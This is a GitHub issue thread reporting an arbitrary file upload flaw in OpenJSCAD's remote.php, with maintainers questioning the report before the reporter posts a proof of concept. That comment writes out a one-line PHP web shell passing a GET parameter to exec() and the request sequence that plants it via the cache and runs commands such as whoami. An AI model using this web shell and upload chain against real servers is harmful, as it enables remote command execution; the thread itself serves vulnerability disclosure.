Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote.php has a security issue with arbitrary file uploads #1350

Open
Beatriz-ai-boop opened this issue Jul 9, 2024 · 4 comments
Open

Remote.php has a security issue with arbitrary file uploads #1350

Beatriz-ai-boop opened this issue Jul 9, 2024 · 4 comments

Comments

@Beatriz-ai-boop
Copy link

'packages/web/remote.php' Lack of proper validation and sanitization of the $_REQUEST['url'] parameter. Malicious users could inject malicious URLs, leading to remote code execution or other attacks.Using the basename function may also cause path traversal issues.

@hrgdavor
Copy link
Contributor

hrgdavor commented Jul 9, 2024

@Beatriz-ai-boop you need to be more specific and show an example.
Taking into account recent uptick in spam CVE reports, and "AI crap" bots doing CVE search you need to provide proof CVE is real and not just assumed.

@z3dev
Copy link
Member

z3dev commented Jul 9, 2024

Wow! Is @Beatriz-ai-boop trying to be helpful?

the good news is that the PHP remote is not being used.

@Beatriz-ai-boop
Copy link
Author

Beatriz-ai-boop commented Jul 12, 2024

Here are more details.

  1. First download the project.
  2. run mkdir cache on OpenJSCAD.org-master/packages/web/
  3. request http://127.0.0.1:8099/OpenJSCAD.org-master/packages/web/remote.php?url=http://127.0.0.1:8099/shell.php

shell.php is:

<?php echo "<?php \$o=exec(\$_GET['c']);echo \$o;?>"?>
  1. request http://127.0.0.1:8099/OpenJSCAD.org-master/packages/web/cache/240712060740-shell.php?c=whoami

Then you can execute any command based on this php file.

@hrgdavor @z3dev

@z3dev
Copy link
Member

z3dev commented Jul 12, 2024

@Beatriz-ai-boop Go for it! Please make the fixes!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants